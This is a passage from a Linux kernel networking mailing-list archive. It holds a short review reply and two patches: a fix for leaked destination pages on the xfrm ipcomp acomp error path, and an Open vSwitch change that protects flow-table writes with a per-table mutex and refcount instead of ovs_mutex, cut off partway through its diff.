> +/* Query Action: 0: Full query, 1: Only query entry ID */
> +#define NTMP_QA_ENTRY_ID		1

Sashiko noted that the above comments looks inconsistent with the update
code, where NTMP_QA_ENTRY_ID apparently uses a full query, and 0 just
the entry ID.

If you have to repost for other reasons, please fix this. Note that you
should reply on the ML to sashiko reviews ruling out invalid comments.

Thanks,

Paolo


^ permalink raw reply

* [PATCH net 1/1] xfrm: ipcomp: Free destination pages on acomp errors
From: Ren Wei @ 2026-05-05  8:52 UTC (permalink / raw)
  To: netdev
  Cc: steffen.klassert, herbert, davem, edumazet, kuba, pabeni, horms,
	yuantan098, yifanwucs, tomapufckgml, bird, ronbogo, zylzyl2333,
	n05ec
In-Reply-To: <cover.1777923646.git.zylzyl2333@gmail.com>

From: Yilin Zhu <zylzyl2333@gmail.com>

ipcomp_setup_req() allocates destination pages for the acomp output
scatterlist. On successful completion, ipcomp_post_acomp() attaches the
used pages to the skb and frees any unused pages.

On an acomp error, ipcomp_post_acomp() skips directly to freeing the
request. acomp_request_free() only releases the request itself, so the
caller-allocated destination pages are left allocated.

Track the number of destination pages allocated for the request and free
them on the error path before releasing the request.

Fixes: eb2953d26971 ("xfrm: ipcomp: Use crypto_acomp interface")
Cc: stable@kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Yifan Wu <yifanwucs@gmail.com>
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Co-developed-by: Peihan Liu <ronbogo@outlook.com>
Signed-off-by: Peihan Liu <ronbogo@outlook.com>
Signed-off-by: Yilin Zhu <zylzyl2333@gmail.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
 net/xfrm/xfrm_ipcomp.c | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/net/xfrm/xfrm_ipcomp.c b/net/xfrm/xfrm_ipcomp.c
index 5f38dff16177..1e0080300ec7 100644
--- a/net/xfrm/xfrm_ipcomp.c
+++ b/net/xfrm/xfrm_ipcomp.c
@@ -33,6 +33,7 @@ struct ipcomp_data {
 
 struct ipcomp_req_extra {
 	struct xfrm_state *x;
+	int dpages;
 	struct scatterlist sg[];
 };
 
@@ -44,6 +45,12 @@ static inline struct ipcomp_skb_cb *ipcomp_cb(struct sk_buff *skb)
 	return cb;
 }
 
+static void ipcomp_free_dpages(struct scatterlist *dsg, int dpages)
+{
+	while (dpages--)
+		__free_page(sg_page(dsg++));
+}
+
 static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
 {
 	struct acomp_req *req = ipcomp_cb(skb)->req;
@@ -51,8 +58,13 @@ static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
 	struct scatterlist *dsg;
 	int len, dlen;
 
-	if (unlikely(err))
+	if (unlikely(err)) {
+		if (req) {
+			extra = acomp_request_extra(req);
+			ipcomp_free_dpages(extra->sg, extra->dpages);
+		}
 		goto out_free_req;
+	}
 
 	extra = acomp_request_extra(req);
 	dsg = extra->sg;
@@ -167,6 +179,7 @@ static struct acomp_req *ipcomp_setup_req(struct xfrm_state *x,
 
 	extra = acomp_request_extra(req);
 	extra->x = x;
+	extra->dpages = 0;
 
 	dsg = extra->sg;
 	sg = dsg + dnfrags;
@@ -184,6 +197,7 @@ static struct acomp_req *ipcomp_setup_req(struct xfrm_state *x,
 		if (!page)
 			break;
 		sg_set_page(dsg + i, page, PAGE_SIZE, 0);
+		extra->dpages++;
 		total += PAGE_SIZE;
 	}
 	if (!i)
-- 
2.47.3


^ permalink raw reply related

* [PATCH net-next v3 2/2] net: openvswitch: decouple flow_table from ovs_mutex
From: Adrian Moreno @ 2026-05-05  8:42 UTC (permalink / raw)
  To: netdev
  Cc: aconole, pabeni, Adrian Moreno, Eelco Chaudron, Ilya Maximets,
	David S. Miller, Eric Dumazet, Jakub Kicinski, Simon Horman,
	open list:OPENVSWITCH, open list
In-Reply-To: <20260505084253.998548-1-amorenoz@redhat.com>

In order to protect flow operations from RTNL contention, this patch
decouples flow_table modifications from ovs_mutex by means of the
following:

1 - Create a new mutex inside the flow_table that protects it from
concurrent modifications.
Putting the mutex inside flow_table makes it easier to consume for
functions inside flow_table.c that do not currently take pointers to the
datapath.
Some function signatures need to be changed to accept flow_table so that
lockdep checks can be performed.

2 - Create a reference count to temporarily extend rcu protection from
the datapath to the flow_table.
One reference is held by the datapath, the other is temporarily
increased during flow modifications.

Signed-off-by: Adrian Moreno <amorenoz@redhat.com>
---
 net/openvswitch/datapath.c   | 230 ++++++++++++++++++++++-------------
 net/openvswitch/flow.c       |  13 +-
 net/openvswitch/flow.h       |   9 +-
 net/openvswitch/flow_table.c | 173 ++++++++++++++++----------
 net/openvswitch/flow_table.h |  53 +++++++-
 5 files changed, 318 insertions(+), 160 deletions(-)

diff --git a/net/openvswitch/datapath.c b/net/openvswitch/datapath.c
index e78c28dd5d9d..92989d4caa09 100644
--- a/net/openvswitch/datapath.c
+++ b/net/openvswitch/datapath.c
@@ -88,13 +88,17 @@ static void ovs_notify(struct genl_family *family,
  * DOC: Locking:
  *
  * All writes e.g. Writes to device state (add/remove datapath, port, set
- * operations on vports, etc.), Writes to other state (flow table
- * modifications, set miscellaneous datapath parameters, etc.) are protected
- * by ovs_lock.
+ * operations on vports, etc.) and writes to other datapath parameters
+ * are protected by ovs_lock.
+ *
+ * Writes to the flow table are NOT protected by ovs_lock. Instead, a per-table
+ * mutex and reference count are used (see comment above "struct flow_table"
+ * definition). On some few occasions, the per-flow table mutex is nested
+ * inside ovs_mutex.
  *
  * Reads are protected by RCU.
  *
- * There are a few special cases (mostly stats) that have their own
+ * There are a few other special cases (mostly stats) that have their own
  * synchronization but they nest under all of above and don't interact with
  * each other.
  *
@@ -759,16 +763,19 @@ static struct genl_family dp_packet_genl_family __ro_after_init = {
 static void get_dp_stats(const struct datapath *dp, struct ovs_dp_stats *stats,
 			 struct ovs_dp_megaflow_stats *mega_stats)
 {
-	struct flow_table *table = ovsl_dereference(dp->table);
+	struct flow_table *table;
 	int i;
 
 	memset(mega_stats, 0, sizeof(*mega_stats));
 	memset(stats, 0, sizeof(*stats));
 
+	rcu_read_lock();
+	table = rcu_dereference(dp->table);
 	if (table) {
 		stats->n_flows = ovs_flow_tbl_count(table);
 		mega_stats->n_masks = ovs_flow_tbl_num_masks(table);
 	}
+	rcu_read_unlock();
 
 	stats->n_hit = stats->n_missed = stats->n_lost = 0;
 
@@ -840,15 +847,16 @@ static size_t ovs_flow_cmd_msg_size(const struct sw_flow_actions *acts,
 		+ nla_total_size_64bit(8); /* OVS_FLOW_ATTR_USED */
 }
 
-/* Called with ovs_mutex or RCU read lock. */
+/* Called with table->lock or RCU read lock. */
 static int ovs_flow_cmd_fill_stats(const struct sw_flow *flow,
+				   const struct flow_table *table,
 				   struct sk_buff *skb)
 {
 	struct ovs_flow_stats stats;
 	__be16 tcp_flags;
 	unsigned long used;
 
-	ovs_flow_stats_get(flow, &stats, &used, &tcp_flags);
+	ovs_flow_stats_get(flow, table, &stats, &used, &tcp_flags);
 
 	if (used &&
 	    nla_put_u64_64bit(skb, OVS_FLOW_ATTR_USED, ovs_flow_used_time(used),
@@ -868,8 +876,9 @@ static int ovs_flow_cmd_fill_stats(const struct sw_flow *flow,
 	return 0;
 }
 
-/* Called with ovs_mutex or RCU read lock. */
+/* Called with RCU read lock or table->lock held. */
 static int ovs_flow_cmd_fill_actions(const struct sw_flow *flow,
+				     const struct flow_table *table,
 				     struct sk_buff *skb, int skb_orig_len)
 {
 	struct nlattr *start;
@@ -889,7 +898,7 @@ static int ovs_flow_cmd_fill_actions(const struct sw_flow *flow,
 	if (start) {
 		const struct sw_flow_actions *sf_acts;
 
-		sf_acts = rcu_dereference_ovsl(flow->sf_acts);
+		sf_acts = rcu_dereference_ovs_tbl(flow->sf_acts, table);
 		err = ovs_nla_put_actions(sf_acts->actions,
 					  sf_acts->actions_len, skb);
 
@@ -908,8 +917,10 @@ static int ovs_flow_cmd_fill_actions(const struct sw_flow *flow,
 	return 0;
 }
 
-/* Called with ovs_mutex or RCU read lock. */
-static int ovs_flow_cmd_fill_info(const struct sw_flow *flow, int dp_ifindex,
+/* Called with table->lock or RCU read lock. */
+static int ovs_flow_cmd_fill_info(const struct sw_flow *flow,
+				  const struct flow_table *table,
+				  int dp_ifindex,
 				  struct sk_buff *skb, u32 portid,
 				  u32 seq, u32 flags, u8 cmd, u32 ufid_flags)
 {
@@ -940,12 +951,12 @@ static int ovs_flow_cmd_fill_info(const struct sw_flow *flow, int dp_ifindex,
 			goto error;
 	}
 
-	err = ovs_flow_cmd_fill_stats(flow, skb);
+	err = ovs_flow_cmd_fill_stats(flow, table, skb);
 	if (err)
 		goto error;
 
 	if (should_fill_actions(ufid_flags)) {
-		err = ovs_flow_cmd_fill_actions(flow, skb, skb_orig_len);
+		err = ovs_flow_cmd_fill_actions(flow, table, skb, skb_orig_len);
 		if (err)
 			goto error;
 	}
@@ -979,8 +990,9 @@ static struct sk_buff *ovs_flow_cmd_alloc_info(const struct sw_flow_actions *act
 	return skb;
 }
 
-/* Called with ovs_mutex. */
+/* Called with table->lock. */
 static struct sk_buff *ovs_flow_cmd_build_info(const struct sw_flow *flow,
+					       const struct flow_table *table,
 					       int dp_ifindex,
 					       struct genl_info *info, u8 cmd,
 					       bool always, u32 ufid_flags)
@@ -988,12 +1000,12 @@ static struct sk_buff *ovs_flow_cmd_build_info(const struct sw_flow *flow,
 	struct sk_buff *skb;
 	int retval;
 
-	skb = ovs_flow_cmd_alloc_info(ovsl_dereference(flow->sf_acts),
+	skb = ovs_flow_cmd_alloc_info(ovs_tbl_dereference(flow->sf_acts, table),
 				      &flow->id, info, always, ufid_flags);
 	if (IS_ERR_OR_NULL(skb))
 		return skb;
 
-	retval = ovs_flow_cmd_fill_info(flow, dp_ifindex, skb,
+	retval = ovs_flow_cmd_fill_info(flow, table, dp_ifindex, skb,
 					info->snd_portid, info->snd_seq, 0,
 					cmd, ufid_flags);
 	if (WARN_ON_ONCE(retval < 0)) {
@@ -1076,17 +1088,25 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 		goto err_kfree_acts;
 	}
 
-	ovs_lock();
+	rcu_read_lock();
 	dp = get_dp(net, ovs_header->dp_ifindex);
 	if (unlikely(!dp)) {
 		error = -ENODEV;
-		goto err_unlock_ovs;
+		rcu_read_unlock();
+		goto err_kfree_reply;
 	}
-	table = ovsl_dereference(dp->table);
-	if (!table) {
+	table = rcu_dereference(dp->table);
+	if (!table || !ovs_flow_tbl_get(table)) {
 		error = -ENODEV;
-		goto err_unlock_ovs;
+		rcu_read_unlock();
+		goto err_kfree_reply;
 	}
+	rcu_read_unlock();
+
+	/* It is safe to dereference "table" after leaving rcu read-protected
+	 * region because it's pinned by refcount.
+	 */
+	mutex_lock(&table->lock);
 
 	/* Check if this is a duplicate flow */
 	if (ovs_identifier_is_ufid(&new_flow->id))
@@ -1100,11 +1120,11 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 		error = ovs_flow_tbl_insert(table, new_flow, &mask);
 		if (unlikely(error)) {
 			acts = NULL;
-			goto err_unlock_ovs;
+			goto err_unlock_tbl;
 		}
 
 		if (unlikely(reply)) {
-			error = ovs_flow_cmd_fill_info(new_flow,
+			error = ovs_flow_cmd_fill_info(new_flow, table,
 						       ovs_header->dp_ifindex,
 						       reply, info->snd_portid,
 						       info->snd_seq, 0,
@@ -1112,7 +1132,8 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 						       ufid_flags);
 			BUG_ON(error < 0);
 		}
-		ovs_unlock();
+		mutex_unlock(&table->lock);
+		ovs_flow_tbl_put(table);
 	} else {
 		struct sw_flow_actions *old_acts;
 
@@ -1125,7 +1146,7 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 		if (unlikely(info->nlhdr->nlmsg_flags & (NLM_F_CREATE
 							 | NLM_F_EXCL))) {
 			error = -EEXIST;
-			goto err_unlock_ovs;
+			goto err_unlock_tbl;
 		}
 		/* The flow identifier has to be the same for flow updates.
 		 * Look for any overlapping flow.
@@ -1138,15 +1159,15 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 				flow = NULL;
 			if (!flow) {
 				error = -ENOENT;
-				goto err_unlock_ovs;
+				goto err_unlock_tbl;
 			}
 		}
 		/* Update actions. */
-		old_acts = ovsl_dereference(flow->sf_acts);
+		old_acts = ovs_tbl_dereference(flow->sf_acts, table);
 		rcu_assign_pointer(flow->sf_acts, acts);
 
 		if (unlikely(reply)) {
-			error = ovs_flow_cmd_fill_info(flow,
+			error = ovs_flow_cmd_fill_info(flow, table,
 						       ovs_header->dp_ifindex,
 						       reply, info->snd_portid,
 						       info->snd_seq, 0,
@@ -1154,7 +1175,8 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 						       ufid_flags);
 			BUG_ON(error < 0);
 		}
-		ovs_unlock();
+		mutex_unlock(&table->lock);
+		ovs_flow_tbl_put(table);
 
 		ovs_nla_free_flow_actions_rcu(old_acts);
 		ovs_flow_free(new_flow, false);
@@ -1166,8 +1188,10 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 	kfree(key);
 	return 0;
 
-err_unlock_ovs:
-	ovs_unlock();
+err_unlock_tbl:
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
+err_kfree_reply:
 	kfree_skb(reply);
 err_kfree_acts:
 	ovs_nla_free_flow_actions(acts);
@@ -1296,17 +1320,26 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 		}
 	}
 
-	ovs_lock();
+	rcu_read_lock();
 	dp = get_dp(net, ovs_header->dp_ifindex);
 	if (unlikely(!dp)) {
 		error = -ENODEV;
-		goto err_unlock_ovs;
+		rcu_read_unlock();
+		goto err_free_reply;
 	}
-	table = ovsl_dereference(dp->table);
-	if (!table) {
+	table = rcu_dereference(dp->table);
+	if (!table || !ovs_flow_tbl_get(table)) {
+		rcu_read_unlock();
 		error = -ENODEV;
-		goto err_unlock_ovs;
+		goto err_free_reply;
 	}
+	rcu_read_unlock();
+
+	/* It is safe to dereference "table" after leaving rcu read-protected
+	 * region because it's pinned by refcount.
+	 */
+	mutex_lock(&table->lock);
+
 	/* Check that the flow exists. */
 	if (ufid_present)
 		flow = ovs_flow_tbl_lookup_ufid(table, &sfid);
@@ -1314,16 +1347,16 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 		flow = ovs_flow_tbl_lookup_exact(table, &match);
 	if (unlikely(!flow)) {
 		error = -ENOENT;
-		goto err_unlock_ovs;
+		goto err_unlock_tbl;
 	}
 
 	/* Update actions, if present. */
 	if (likely(acts)) {
-		old_acts = ovsl_dereference(flow->sf_acts);
+		old_acts = ovs_tbl_dereference(flow->sf_acts, table);
 		rcu_assign_pointer(flow->sf_acts, acts);
 
 		if (unlikely(reply)) {
-			error = ovs_flow_cmd_fill_info(flow,
+			error = ovs_flow_cmd_fill_info(flow, table,
 						       ovs_header->dp_ifindex,
 						       reply, info->snd_portid,
 						       info->snd_seq, 0,
@@ -1333,20 +1366,22 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 		}
 	} else {
 		/* Could not alloc without acts before locking. */
-		reply = ovs_flow_cmd_build_info(flow, ovs_header->dp_ifindex,
+		reply = ovs_flow_cmd_build_info(flow, table,
+						ovs_header->dp_ifindex,
 						info, OVS_FLOW_CMD_SET, false,
 						ufid_flags);
 
 		if (IS_ERR(reply)) {
 			error = PTR_ERR(reply);
-			goto err_unlock_ovs;
+			goto err_unlock_tbl;
 		}
 	}
 
 	/* Clear stats. */
 	if (a[OVS_FLOW_ATTR_CLEAR])
-		ovs_flow_stats_clear(flow);
-	ovs_unlock();
+		ovs_flow_stats_clear(flow, table);
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
 
 	if (reply)
 		ovs_notify(&dp_flow_genl_family, reply, info);
@@ -1355,8 +1390,10 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 
 	return 0;
 
-err_unlock_ovs:
-	ovs_unlock();
+err_unlock_tbl:
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
+err_free_reply:
 	kfree_skb(reply);
 err_kfree_acts:
 	ovs_nla_free_flow_actions(acts);
@@ -1394,17 +1431,24 @@ static int ovs_flow_cmd_get(struct sk_buff *skb, struct genl_info *info)
 	if (err)
 		return err;
 
-	ovs_lock();
+	rcu_read_lock();
 	dp = get_dp(sock_net(skb->sk), ovs_header->dp_ifindex);
 	if (!dp) {
-		err = -ENODEV;
-		goto unlock;
+		rcu_read_unlock();
+		return -ENODEV;
 	}
-	table = ovsl_dereference(dp->table);
-	if (!table) {
-		err = -ENODEV;
-		goto unlock;
+	table = rcu_dereference(dp->table);
+	if (!table || !ovs_flow_tbl_get(table)) {
+		rcu_read_unlock();
+		return -ENODEV;
 	}
+	rcu_read_unlock();
+
+	/* It is safe to dereference "table" after leaving rcu read-protected
+	 * region because it's pinned by refcount.
+	 */
+	mutex_lock(&table->lock);
+
 
 	if (ufid_present)
 		flow = ovs_flow_tbl_lookup_ufid(table, &ufid);
@@ -1415,17 +1459,20 @@ static int ovs_flow_cmd_get(struct sk_buff *skb, struct genl_info *info)
 		goto unlock;
 	}
 
-	reply = ovs_flow_cmd_build_info(flow, ovs_header->dp_ifindex, info,
-					OVS_FLOW_CMD_GET, true, ufid_flags);
+	reply = ovs_flow_cmd_build_info(flow, table, ovs_header->dp_ifindex,
+					info, OVS_FLOW_CMD_GET, true,
+					ufid_flags);
 	if (IS_ERR(reply)) {
 		err = PTR_ERR(reply);
 		goto unlock;
 	}
 
-	ovs_unlock();
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
 	return genlmsg_reply(reply, info);
 unlock:
-	ovs_unlock();
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
 	return err;
 }
 
@@ -1455,17 +1502,24 @@ static int ovs_flow_cmd_del(struct sk_buff *skb, struct genl_info *info)
 			return err;
 	}
 
-	ovs_lock();
+	rcu_read_lock();
 	dp = get_dp(sock_net(skb->sk), ovs_header->dp_ifindex);
 	if (unlikely(!dp)) {
-		err = -ENODEV;
-		goto unlock;
+		rcu_read_unlock();
+		return -ENODEV;
 	}
-	table = ovsl_dereference(dp->table);
-	if (!table) {
-		err = -ENODEV;
-		goto unlock;
+	table = rcu_dereference(dp->table);
+	if (!table || !ovs_flow_tbl_get(table)) {
+		rcu_read_unlock();
+		return -ENODEV;
 	}
+	rcu_read_unlock();
+
+	/* It is safe to dereference "table" after leaving rcu read-protected
+	 * region because it's pinned by refcount.
+	 */
+	mutex_lock(&table->lock);
+
 
 	if (unlikely(!a[OVS_FLOW_ATTR_KEY] && !ufid_present)) {
 		err = ovs_flow_tbl_flush(table);
@@ -1482,14 +1536,15 @@ static int ovs_flow_cmd_del(struct sk_buff *skb, struct genl_info *info)
 	}
 
 	ovs_flow_tbl_remove(table, flow);
-	ovs_unlock();
+	mutex_unlock(&table->lock);
 
 	reply = ovs_flow_cmd_alloc_info((const struct sw_flow_actions __force *) flow->sf_acts,
 					&flow->id, info, false, ufid_flags);
 	if (likely(reply)) {
 		if (!IS_ERR(reply)) {
 			rcu_read_lock();	/*To keep RCU checker happy. */
-			err = ovs_flow_cmd_fill_info(flow, ovs_header->dp_ifindex,
+			err = ovs_flow_cmd_fill_info(flow, table,
+						     ovs_header->dp_ifindex,
 						     reply, info->snd_portid,
 						     info->snd_seq, 0,
 						     OVS_FLOW_CMD_DEL,
@@ -1508,10 +1563,12 @@ static int ovs_flow_cmd_del(struct sk_buff *skb, struct genl_info *info)
 	}
 
 out_free:
+	ovs_flow_tbl_put(table);
 	ovs_flow_free(flow, true);
 	return 0;
 unlock:
-	ovs_unlock();
+	mutex_unlock(&table->lock);
+	ovs_flow_tbl_put(table);
 	return err;
 }
 
@@ -1537,7 +1594,7 @@ static int ovs_flow_cmd_dump(struct sk_buff *skb, struct netlink_callback *cb)
 		rcu_read_unlock();
 		return -ENODEV;
 	}
-	table = rcu_dereference_ovsl(dp->table);
+	table = rcu_dereference(dp->table);
 	if (!table) {
 		rcu_read_unlock();
 		return -ENODEV;
@@ -1554,8 +1611,8 @@ static int ovs_flow_cmd_dump(struct sk_buff *skb, struct netlink_callback *cb)
 		if (!flow)
 			break;
 
-		if (ovs_flow_cmd_fill_info(flow, ovs_header->dp_ifindex, skb,
-					   NETLINK_CB(cb->skb).portid,
+		if (ovs_flow_cmd_fill_info(flow, table, ovs_header->dp_ifindex,
+					   skb, NETLINK_CB(cb->skb).portid,
 					   cb->nlh->nlmsg_seq, NLM_F_MULTI,
 					   OVS_FLOW_CMD_GET, ufid_flags) < 0)
 			break;
@@ -1642,10 +1699,6 @@ static int ovs_dp_cmd_fill_info(struct datapath *dp, struct sk_buff *skb,
 	struct flow_table *table;
 	int err, pids_len;
 
-	table = ovsl_dereference(dp->table);
-	if (!table)
-		return -ENODEV;
-
 	ovs_header = genlmsg_put(skb, portid, seq, &dp_datapath_genl_family,
 				 flags, cmd);
 	if (!ovs_header)
@@ -1670,8 +1723,12 @@ static int ovs_dp_cmd_fill_info(struct datapath *dp, struct sk_buff *skb,
 	if (nla_put_u32(skb, OVS_DP_ATTR_USER_FEATURES, dp->user_features))
 		goto nla_put_failure;
 
-	if (nla_put_u32(skb, OVS_DP_ATTR_MASKS_CACHE_SIZE,
-			ovs_flow_tbl_masks_cache_size(table)))
+	rcu_read_lock();
+	table = rcu_dereference(dp->table);
+	err = table ? nla_put_u32(skb, OVS_DP_ATTR_MASKS_CACHE_SIZE,
+				  ovs_flow_tbl_masks_cache_size(table)) : 0;
+	rcu_read_unlock();
+	if (err)
 		goto nla_put_failure;
 
 	if (dp->user_features & OVS_DP_F_DISPATCH_UPCALL_PER_CPU && pids) {
@@ -1809,7 +1866,9 @@ static int ovs_dp_change(struct datapath *dp, struct nlattr *a[])
 			return -ENODEV;
 
 		cache_size = nla_get_u32(a[OVS_DP_ATTR_MASKS_CACHE_SIZE]);
+		mutex_lock(&table->lock);
 		err = ovs_flow_tbl_masks_cache_resize(table, cache_size);
+		mutex_unlock(&table->lock);
 		if (err)
 			return err;
 	}
@@ -1960,7 +2019,7 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 err_destroy_stats:
 	free_percpu(dp->stats_percpu);
 err_destroy_table:
-	call_rcu(&table->rcu, ovs_flow_tbl_destroy_rcu);
+	ovs_flow_tbl_put(table);
 err_destroy_dp:
 	kfree(dp);
 err_destroy_reply:
@@ -1972,7 +2031,8 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 /* Called with ovs_mutex. */
 static void __dp_destroy(struct datapath *dp)
 {
-	struct flow_table *table = ovsl_dereference(dp->table);
+	struct flow_table *table = rcu_dereference_protected(dp->table,
+					lockdep_ovsl_is_held());
 	int i;
 
 	if (dp->user_features & OVS_DP_F_TC_RECIRC_SHARING)
@@ -1994,16 +2054,11 @@ static void __dp_destroy(struct datapath *dp)
 	 */
 	ovs_dp_detach_port(ovs_vport_ovsl(dp, OVSP_LOCAL));
 
-	/* Flush sw_flow in the tables. RCU cb only releases resource
-	 * such as dp, ports and tables. That may avoid some issues
-	 * such as RCU usage warning.
-	 */
-	table_instance_flow_flush(table, ovsl_dereference(table->ti),
-				  ovsl_dereference(table->ufid_ti));
+	rcu_assign_pointer(dp->table, NULL);
+	ovs_flow_tbl_put(table);
 
-	/* RCU destroy the ports, meters and flow tables. */
+	/* RCU destroy the ports and meters. */
 	call_rcu(&dp->rcu, destroy_dp_rcu);
-	call_rcu(&table->rcu, ovs_flow_tbl_destroy_rcu);
 }
 
 static int ovs_dp_cmd_del(struct sk_buff *skb, struct genl_info *info)
@@ -2647,9 +2702,12 @@ static void ovs_dp_masks_rebalance(struct work_struct *work)
 	ovs_lock();
 	list_for_each_entry(dp, &ovs_net->dps, list_node) {
 		table = ovsl_dereference(dp->table);
-		if (!table)
+		if (!table || !ovs_flow_tbl_get(table))
 			continue;
+		mutex_lock(&table->lock);
 		ovs_flow_masks_rebalance(table);
+		mutex_unlock(&table->lock);
+		ovs_flow_tbl_put(table);
 	}
 	ovs_unlock();
 
diff --git a/net/openvswitch/flow.c b/net/openvswitch/flow.c
index 66366982f604..0a748cf20f53 100644
--- a/net/openvswitch/flow.c
+++ b/net/openvswitch/flow.c
@@ -124,8 +124,9 @@ void ovs_flow_stats_update(struct sw_flow *flow, __be16 tcp_flags,
 	spin_unlock(&stats->lock);
 }
 
-/* Must be called with rcu_read_lock or ovs_mutex. */
+/* Must be called with rcu_read_lock or table->lock held. */
 void ovs_flow_stats_get(const struct sw_flow *flow,
+			const struct flow_table *table,
 			struct ovs_flow_stats *ovs_stats,
 			unsigned long *used, __be16 *tcp_flags)
 {
@@ -136,7 +137,8 @@ void ovs_flow_stats_get(const struct sw_flow *flow,
 	memset(ovs_stats, 0, sizeof(*ovs_stats));
 
 	for_each_cpu(cpu, flow->cpu_used_mask) {
-		struct sw_flow_stats *stats = rcu_dereference_ovsl(flow->stats[cpu]);
+		struct sw_flow_stats *stats =
+			rcu_dereference_ovs_tbl(flow->stats[cpu], table);
 
 		if (stats) {
 			/* Local CPU may write on non-local stats, so we must
@@ -153,13 +155,14 @@ void ovs_flow_stats_get(const struct sw_flow *flow,
 	}
 }
 
-/* Called with ovs_mutex. */
-void ovs_flow_stats_clear(struct sw_flow *flow)
+/* Called with table->lock held. */
+void ovs_flow_stats_clear(struct sw_flow *flow, struct flow_table *table)
 {
 	unsigned int cpu;
 
 	for_each_cpu(cpu, flow->cpu_used_mask) {
-		struct sw_flow_stats *stats = ovsl_dereference(flow->stats[cpu]);
+		struct sw_flow_stats *stats =
+			ovs_tbl_dereference(flow->stats[cpu], table);
 
 		if (stats) {
 			spin_lock_bh(&stats->lock);
diff --git a/net/openvswitch/flow.h b/net/openvswitch/flow.h
index b5711aff6e76..e05ed6796e4e 100644
--- a/net/openvswitch/flow.h
+++ b/net/openvswitch/flow.h
@@ -23,6 +23,7 @@
 #include <net/dst_metadata.h>
 #include <net/nsh.h>
 
+struct flow_table;
 struct sk_buff;
 
 enum sw_flow_mac_proto {
@@ -280,9 +281,11 @@ static inline bool ovs_identifier_is_key(const struct sw_flow_id *sfid)
 
 void ovs_flow_stats_update(struct sw_flow *, __be16 tcp_flags,
 			   const struct sk_buff *);
-void ovs_flow_stats_get(const struct sw_flow *, struct ovs_flow_stats *,
-			unsigned long *used, __be16 *tcp_flags);
-void ovs_flow_stats_clear(struct sw_flow *);
+void ovs_flow_stats_get(const struct sw_flow *flow,
+			const struct flow_table *table,
+			struct ovs_flow_stats *stats, unsigned long *used,
+			__be16 *tcp_flags);
+void ovs_flow_stats_clear(struct sw_flow *flow, struct flow_table *table);
 u64 ovs_flow_used_time(unsigned long flow_jiffies);
 
 int ovs_flow_key_update(struct sk_buff *skb, struct sw_flow_key *key);
diff --git a/net/openvswitch/flow_table.c b/net/openvswitch/flow_table.c
index 3b7518e3394d..3934873a44c3 100644
--- a/net/openvswitch/flow_table.c
+++ b/net/openvswitch/flow_table.c
@@ -45,6 +45,16 @@
 static struct kmem_cache *flow_cache;
 struct kmem_cache *flow_stats_cache __read_mostly;
 
+#ifdef CONFIG_LOCKDEP
+int lockdep_ovs_tbl_is_held(const struct flow_table *table)
+{
+	if (debug_locks)
+		return lockdep_is_held(&table->lock);
+	else
+		return 1;
+}
+#endif
+
 static u16 range_n_bytes(const struct sw_flow_key_range *range)
 {
 	return range->end - range->start;
@@ -102,7 +112,7 @@ struct sw_flow *ovs_flow_alloc(void)
 
 int ovs_flow_tbl_count(const struct flow_table *table)
 {
-	return table->count;
+	return READ_ONCE(table->count);
 }
 
 static void flow_free(struct sw_flow *flow)
@@ -249,12 +259,12 @@ static int tbl_mask_array_realloc(struct flow_table *tbl, int size)
 	if (!new)
 		return -ENOMEM;
 
-	old = ovsl_dereference(tbl->mask_array);
+	old = ovs_tbl_dereference(tbl->mask_array, tbl);
 	if (old) {
 		int i;
 
 		for (i = 0; i < old->max; i++) {
-			if (ovsl_dereference(old->masks[i]))
+			if (ovs_tbl_dereference(old->masks[i], tbl))
 				new->masks[new->count++] = old->masks[i];
 		}
 		call_rcu(&old->rcu, mask_array_rcu_cb);
@@ -268,7 +278,7 @@ static int tbl_mask_array_realloc(struct flow_table *tbl, int size)
 static int tbl_mask_array_add_mask(struct flow_table *tbl,
 				   struct sw_flow_mask *new)
 {
-	struct mask_array *ma = ovsl_dereference(tbl->mask_array);
+	struct mask_array *ma = ovs_tbl_dereference(tbl->mask_array, tbl);
 	int err, ma_count = READ_ONCE(ma->count);
 
 	if (ma_count >= ma->max) {
@@ -277,7 +287,7 @@ static int tbl_mask_array_add_mask(struct flow_table *tbl,
 		if (err)
 			return err;
 
-		ma = ovsl_dereference(tbl->mask_array);
+		ma = ovs_tbl_dereference(tbl->mask_array, tbl);
 	} else {
 		/* On every add or delete we need to reset the counters so
 		 * every new mask gets a fair chance of being prioritized.
@@ -285,7 +295,7 @@ static int tbl_mask_array_add_mask(struct flow_table *tbl,
 		tbl_mask_array_reset_counters(ma);
 	}
 
-	BUG_ON(ovsl_dereference(ma->masks[ma_count]));
+	WARN_ON_ONCE(ovs_tbl_dereference(ma->masks[ma_count], tbl));
 
 	rcu_assign_pointer(ma->masks[ma_count], new);
 	WRITE_ONCE(ma->count, ma_count + 1);
@@ -296,12 +306,12 @@ static int tbl_mask_array_add_mask(struct flow_table *tbl,
